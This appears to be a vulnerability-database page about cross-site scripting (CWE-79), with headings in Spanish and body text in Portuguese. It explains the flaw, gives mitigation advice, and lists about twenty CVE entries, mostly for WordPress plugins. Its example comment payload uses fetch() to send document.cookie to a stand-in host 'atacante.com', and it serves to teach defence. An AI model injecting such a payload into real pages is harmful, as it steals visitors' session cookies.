Fallos del tipo CWE-79

29.611 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-30338MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in Emlog Pro v2.0.3 allows attackers to execute arbitrary web scripts or HTML viaEPSS 0.4%CVE-2026-8791MEDIUMBooking System Trafft <= 1.0.17 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-13771MEDIUMCustomer Reviews for WooCommerce <= 5.113.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'color' Shortcode AttributeEPSS 0.4%CVE-2026-5400MEDIUMRedux Framework <= 4.5.13 - Authenticated (Subscriber+) Cross-Site Scripting via User InputEPSS 0.4%CVE-2026-4803HIGHRoyal Addons for Elementor <= 1.7.1056 - Unauthenticated Stored Cross-Site Scripting via 'status' Parameter in wpr_update_form_action_metaEPSS 0.4%CVE-2025-65572MEDIUMCross Site Scripting (XSS) vulnerability in AllskyTeam AllSky v2024.12.06_06 allows remote attackers to execute arbitrary code via the (1) cEPSS 0.4%CVE-2022-44591MEDIUMWordPress Anthologize plugin <= 0.8.0 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-3598MEDIUMCoupon Affiliates – Affiliate Plugin for WooCommerce <= 6.3.0 - Reflected Cross-Site Scripting via 'commission_summary' ParameterEPSS 0.4%CVE-2022-43463MEDIUMWordPress Custom Product Tabs for WooCommerce plugin <= 1.7.9 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-40694MEDIUMWordPress News Announcement Scroll plugin <= 8.8.8 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-13295MEDIUMPage Builder by SiteOrigin <= 2.34.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via panels_data ParameterEPSS 0.4%CVE-2024-25099MEDIUMWordPress Paytium: Mollie payment forms & donations Plugin <= 4.4.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-8489MEDIUMUltimate Member <= 2.11.4 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Non-HTML Custom Textarea Profile FieldEPSS 0.4%CVE-2026-15739MEDIUMRich Showcase for Google Reviews <= 6.9.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'pagination' Shortcode AttributeEPSS 0.4%CVE-2026-81754HIGHVigilant <= 2.10.2 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-15446MEDIUMEWWW Image Optimizer <= 8.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-script' Lazy Load Attribute in Post ContentEPSS 0.4%CVE-2024-1055MEDIUMPowerPack Addons for Elementor (Free Widgets, Extensions and Templates) <= 2.7.14 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-15145MEDIUMEssential Addons for Elementor <= 6.6.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Fancy Text WidgetEPSS 0.4%CVE-2024-4107MEDIUMElementor Website Builder Pro <= 3.21.0 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-15755MEDIUMOpen User Map <= 1.4.45 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.4%